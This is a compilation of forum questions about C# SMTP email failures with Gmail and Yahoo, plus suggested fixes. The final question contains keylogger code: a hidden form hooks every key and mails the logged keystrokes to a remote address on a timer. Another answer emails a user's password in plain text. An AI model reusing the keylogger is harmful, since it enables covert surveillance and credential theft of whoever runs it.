Is there a more efficient way of sending a mail? - c#

My main purpose is to simply send a mail to myself with an attachment.
Currently, I am using an smtp client, but it takes ~5 mins and is very unreliable.
Here is my current code:
private SmtpClient smtp;
private void button2_Click(object sender, EventArgs e)
{
if (smtp != null)
return;
string username = "", password = "";
if (checkBox2.Checked)
username = textBox7.Text;
if (checkBox3.Checked)
password = textBox8.Text;
if (username != "" || password != "")
{
//save info
}
label17.Text = "In Progress...";
MailAddress me = new MailAddress(textBox7.Text, "Me");
smtp = new SmtpClient("smtp.gmail.com", 465);
smtp.Timeout = 300000;
smtp.EnableSsl = true;
smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
smtp.UseDefaultCredentials = false;
smtp.Credentials = new System.Net.NetworkCredential(me.Address, textBox8.Text);
MailMessage message = new MailMessage(me, me);
message.Subject = page.ActiveDocument.Name;
message.Body = "r u mad tho?";
string path = "path to file";
message.Attachments.Add(new Attachment(path));
smtp.SendCompleted += Completed;
smtp.SendAsync(message, label17.Text);
}
private void Completed(object sender, EventArgs e)
{
label17.Text = "Done!";
smtp.Dispose();
smtp = null;
}
The string path value is negligible; I know for sure it is a correct path, and so is the username/password.

Related

C# receive error sending a email

ERROR: Service not available, closing transmission channel. The server response was: Resources temporarily unavailable - Please try again later
private void button1_Click(object sender, EventArgs e)
{
string smtpAddress = "smtp.mail.yahoo.com";
int portNumber = 587;
bool enableSSL = true;
string emailFrom = "mail#yahoo.com";
string password = "mailpass";
string emailTo = "sendemail#yahoo.com";
string subject = "Hello";
string body = "Hello, I'm just writing this to say Hi!";
using (MailMessage mail = new MailMessage())
{
mail.From = new MailAddress(emailFrom);
mail.To.Add(emailTo);
mail.Subject = subject;
mail.Body = body;
//mail.IsBodyHtml = true;
// Can set to false, if you are sending pure text.
// mail.Attachments.Add(new Attachment("C:\\SomeFile.txt"));
//mail.Attachments.Add(new Attachment("C:\\SomeZip.zip"));
using (SmtpClient smtp = new SmtpClient(smtpAddress, portNumber))
{
smtp.Credentials = new NetworkCredential(emailFrom, password);
smtp.EnableSsl = enableSSL;
smtp.Send(mail);
}
}
}
What should I do?
You need to make sure an external application has permission to send emails through your email before you can proceed.

Mail sending fails through c# when encryption connection is TLS

I am setting up mail sending in my code as below
NetworkCredential nc = new NetworkCredential(ConfigurationManager.AppSettings["EmailId"].ToString(), ConfigurationManager.AppSettings["Password"].ToString());
MailMessage mm = new MailMessage();
mm.From = new MailAddress(SendEmailaddress);
mm.Body = "Test Mail";
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
mm.To.Add(ToEmailAddress);
mm.Subject = "Test";
SmtpClient sp = new SmtpClient();
sp.UseDefaultCredentials = false;
sp.Credentials = nc;
sp.EnableSsl = true;
sp.DeliveryMethod = SmtpDeliveryMethod.Network;
sp.Port = 587
sp.Host = ConfigurationManager.AppSettings["SMTP"].ToString();
sp.Send(mm);
A error is thrown at the time of mail sending. Mail sending works if I configure outlook on the same PC with these settings with TLS as encrypted connnection.
I have checked many posts where it is suggested that EnableSsl = true should be set for TLS to work but it does not work for me. It throws below error
Transaction failed. The server response was: 5.7.1
: Recipient address rejected: Access denied
at System.Net.Mail.RecipientCommand.CheckResponse(SmtpStatusCode
statusCode, String response) at
System.Net.Mail.SmtpTransport.SendMail(MailAddress sender,
MailAddressCollection recipients, String deliveryNotify,
SmtpFailedRecipientException& exception) at
System.Net.Mail.SmtpClient.Send(MailMessage message)
I have hit a roadblock as no solution is found. is there a setting which needs to be done on server?
protected void SendAlertEmail(string smtpserver, string smtpport, string smtpuser, string smtppass, int ssl, int auth, string subject, string from, string to, string body)
{
try
{
MailMessage mail = new MailMessage();
mail.From = new MailAddress(SplitEmailStrging(from), HttpUtility.HtmlDecode(Request.Form["senderName"]));
string emails = to;
if (emails.Contains(","))
{
string[] emailslist = Regex.Split(emails, #",");
foreach (string email in emailslist)
{
mail.To.Add(SplitEmailStrging(email));
}
}
else
{
if (emails.Contains("<"))
{
mail.To.Add(SplitEmailStrging(emails));
// Response.Write(SplitEmailStrging(emails));
}
else
{
mail.To.Add(emails);
// Response.Write(emails);
}
}
mail.Subject = subject;
mail.IsBodyHtml = true;
mail.Body = HttpUtility.HtmlDecode(body);
SmtpClient client = new SmtpClient(smtpserver);
if (int.Parse(smtpport) == 465)
{
client.Port = 25;
}
else
{
client.Port = int.Parse(smtpport);
}
if (ssl == 1)
{
client.EnableSsl = true;
}
else
{
client.EnableSsl = false;
}
client.DeliveryMethod = SmtpDeliveryMethod.Network;
System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(smtpuser, smtppass);
client.UseDefaultCredentials = false;
client.Credentials = credentials;
client.Send(mail);
}
catch (Exception ex)
{
Response.Write("Error: " + ex.InnerException.Message);
Response.End();
}
}

the operation has timed out system net mail smtpexception

I want to send mail using mail web application. While sending mail showing time out error. Help me to find a proper solution.
protected void btnsubmit_Click(object sender, EventArgs e)
{
Ticket_MailTableAdapters.tbl_TicketTableAdapter tc;
tc = new Ticket_MailTableAdapters.tbl_TicketTableAdapter();
DataTable dt = new DataTable();
dt = tc.GetEmail(dpl_cate.SelectedValue);
foreach (DataRow row in dt.Rows)
{
string eml = (row["Emp_Email"].ToString());
var fromAddress = "myMail#gmail.com";
var toAddress = eml;
const string fromPassword = "*****";
string body = "Welcome..";
// smtp settings
var smtp = new System.Net.Mail.SmtpClient();
{
smtp.Host = "smtp.gmail.com";
smtp.Port = 587;
smtp.EnableSsl = true;
smtp.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
smtp.UseDefaultCredentials = true;
smtp.Credentials = new NetworkCredential(fromAddress, fromPassword);
}
// Passing values to smtp object
smtp.Send(fromAddress, toAddress, subject, body);
smtp.Timeout = 600000;
}
}
Use This Working Code.
const string vMailFm = "myMail#gmail.com";
var vMailTo = ((txtEmailId.Text == "") ? "myMail#gmail.com" : txtEmailId.Text);
MailMessage vMail = new MailMessage(vMailFm, vMailTo);
const string vSubject = "Center Detail From SAFE";
var vDetails = "";
vDetails += "Dear User,<br><br>";
vDetails += "Kindly find the user details of your registration with SAFE<br><br>";
vDetails += "Your UserName Is - " + vMailTo + "<br>";
vDetails += "Your Password Is - " + Convert.ToString(ViewState["password"]) + "<br>";
vDetails += "<br>";
vDetails += "Registration has been Successfully Completed....";
vDetails += "<br><br>";
vMail.Subject = vSubject;
vMail.Body = vDetails;
vMail.IsBodyHtml = true;
SmtpClient vSmpt = new SmtpClient();
System.Net.NetworkCredential smtpUser = new System.Net.NetworkCredential("myMail#gmail.com", "Password123");
vSmpt.Host = "smtp.gmail.com";
vSmpt.Port = 587;//for local
// vSmpt.Port = 25;//for online
vSmpt.EnableSsl = false;
vSmpt.DeliveryMethod = SmtpDeliveryMethod.Network;
vSmpt.UseDefaultCredentials = false;
vSmpt.Credentials = smtpUser;
vSmpt.Send(vMail);

Sending Two Mails At a time in asp.net

I need to send two mails one to client and one to admin in asp.net
Below is the code i used but it didn't send two mails , it just sent mail to client only
I had made two functions one for admin one for client but it doesn't work.
using System;
using System.Net.Mail;
namespace Mail
{
public partial class Mail : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
public void admin()
{
try
{
MailMessage Msg = new MailMessage();
// Sender e-mail address.
Msg.From = new MailAddress(txtEmail.Text);
// Recipient e-mail address.
Msg.To.Add("email#gmail.com");
Msg.Subject = txtSubject.Text;
Msg.Body = "UserName " + txtName.Text + " UserEmail " + txtEmail.Text + "</br>";
// your remote SMTP server IP.
SmtpClient smtp = new SmtpClient();
smtp.Host = "smtp.gmail.com";
smtp.Port = 587;
smtp.Credentials = new System.Net.NetworkCredential("email#gmail.com", "password");
smtp.EnableSsl = true;
smtp.Send(Msg);
//Msg = null;
lbltxt.Text = "Thanks for Contact us";
// Clear the textbox valuess
txtName.Text = "";
txtSubject.Text = "";
txtMessage.Text = "";
txtEmail.Text = "";
}
catch (Exception ex)
{
Console.WriteLine("{0} Exception caught.", ex);
}
}
public void client()
{
try
{
MailMessage Msg = new MailMessage();
// Sender e-mail address.
Msg.From = new MailAddress(txtEmail.Text);
// Recipient e-mail address.
Msg.To.Add(txtEmail.Text);
Msg.Subject = "Thanks you for downloading our product";
Msg.Body = "we loves your privacy , this product is in BETA Mode , Do Feedback us about this Product http://www.google.com >";
// your remote SMTP server IP.
SmtpClient smtp = new SmtpClient();
smtp.Host = "smtp.gmail.com";
smtp.Port = 587;
smtp.Credentials = new System.Net.NetworkCredential("email#gmail.com", "password");
smtp.EnableSsl = true;
smtp.Send(Msg);
//Msg = null;
lbltxt.Text = "Thanks for Contact us";
// Clear the textbox valuess
txtName.Text = "";
txtSubject.Text = "";
txtMessage.Text = "";
txtEmail.Text = "";
}
catch (Exception ex)
{
Console.WriteLine("{0} Exception caught.", ex);
}
}
protected void btnSubmit_Click(object sender, EventArgs e)
{
admin();
client();
}
}
}

smtp email through C#

I cannot send an email to myself through smtp and trough Gmail and Hotmail.
Do you have any ideas how it can be solved or where the error is?
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
string log;
string klokkeslæt;
globalKeyboardHook gkh = new globalKeyboardHook();
private void HookAll() //funktionen Hookall oprettes
{
foreach (object key in Enum.GetValues(typeof(Keys)))
{
gkh.HookedKeys.Add((Keys)key);
}
}
private void Form1_Load(object sender, EventArgs e)
{
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
HookAll();
this.Opacity = 0;
}
void gkh_KeyDown(object sender, KeyEventArgs e)
{
log = log + " " + e.KeyCode;
}
private void timer1_Tick(object sender, EventArgs e)
{
MailMessage mail = new MailMessage("eksamensprojekt2014.gmail.com", "gymjoy#hotmail.com");
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com", 587);
mail.From = new MailAddress("eksamensprojekt2014#gmail.com");
mail.To.Add("gymjoy#hotmail.com");
klokkeslæt = DateTime.Now.ToString("HH:mm:ss:tt");
mail.Subject = klokkeslæt;
mail.Body = log;
// SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014#gmail.com", "*********");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
mail.Priority = MailPriority.Normal;
SmtpServer.useDefaultCredentials = true;
}
}
Try with below code it working fine.
MailMessage message = new MailMessage();//Not set from and to address here.
SmtpClient smtpClient = new SmtpClient();//Not set Host name here.
string msg = string.Empty;
try
{
MailAddress fromAddress = new MailAddress("eksamensprojekt2014.gmail.com");
message.From = fromAddress;
message.To.Add("gymjoy#hotmail.com");
message.Subject = "Test";
message.IsBodyHtml = true;
message.Body = "Test";
smtpClient.Host = "smtp.gmail.com"; // We use gmail as our smtp client
smtpClient.Port = 587;
smtpClient.EnableSsl = true;
smtpClient.UseDefaultCredentials = true;
smtpClient.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014.gmail.com", "*******");
smtpClient.Send(message);
msg = "Successful<BR>";
}
catch (Exception ex)
{
msg = ex.Message;
}

Categories